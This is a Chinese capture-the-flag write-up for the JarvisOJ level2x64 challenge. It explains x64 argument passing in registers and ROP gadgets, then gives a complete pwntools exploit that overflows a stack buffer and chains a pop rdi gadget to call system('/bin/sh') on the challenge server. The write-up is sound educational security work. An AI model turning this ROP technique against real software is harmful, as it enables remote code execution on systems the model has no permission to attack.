JarvisOJ level2x64

这题和level2的漏洞和处理方式差不多，只不过level2是x86而这题是x64的

前言：

首先，我们先看一下x64和x86的区别：

linux_64与linux_86的区别主要有两点：首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff，否则会抛出异常。其次是函数参数的传递方式发生了改变，x86中参数都是保存在栈上，但在x64中的前六个参数依次保存在RDI，RSI，RDX，RCX，R8和 R9中，如果还有更多的参数的话才会保存在栈上。
——引自于蒸米大神的一步一步学ROP
蒸米大神解释的十分通透，对于这一题，我们知道system函数只有一个参数，也就是说，这个参数应该是保存在RDI中，而不会保存到栈上面，不然的话就是第7个参数了，但是我们在进行栈溢出的时候，并不能直接写到寄存器中去。这里，我们就必须用到一些其他的方法。

使用gadget控制RDI等寄存器

所谓gadget，通俗来讲就是程序中的一些小指令，因为我们在一个程序中，不一定能找到刚好符合我们想法一大段的指令（就像system函数和/bin/sh不会每次都以system(’/bin/sh’)出现给你直接使用），我们就只能找一些零碎的片段，再组合起来慢慢使用。
关于寻找gadget的方法，建议看蒸米大神的《一步一步学ROP之linux_x64篇》
在这里，我就使用其中的一种方法寻找gadget。

拿到题目，首先我们还是查看一下保护：

程序只开启了NX保护，这里和level2差不多。
打开IDA，我们看一下程序的逻辑：

我们可以看到在vul()函数中有一个read函数存在栈溢出漏洞。
看了一下，程序基本和level2相似，我们就直接构造payload，因为这里使x64的程序，所以我们构造payload应该这样：

我们使用pop_ret将我们写到栈中的参数放到RDI中（大佬们称此为平衡栈帧）。
接下来我们只要找到一个pop rdi；ret 就可以了。
这里，我们使用ROPgadget寻找这个指令片段：

程序中正好有我们想要的pop rdi ； ret 片段，我们直接利用起来构造payload就行了。完整的exp如下：

#!/usr/bin/env python
from pwn import *
p=remote('pwn2.jarvisoj.com',9882)
p.recvuntil('Input:')
system_addr=0x04004c0
pop_addr=0x04006b3
sh_addr=0x0600a90
payload='a'*0x80+'a'*8+p64(pop_addr)+p64(sh_addr)+p64(system_addr)+'a'*8
p.sendline(payload)
p.interactive()

运行结果如下：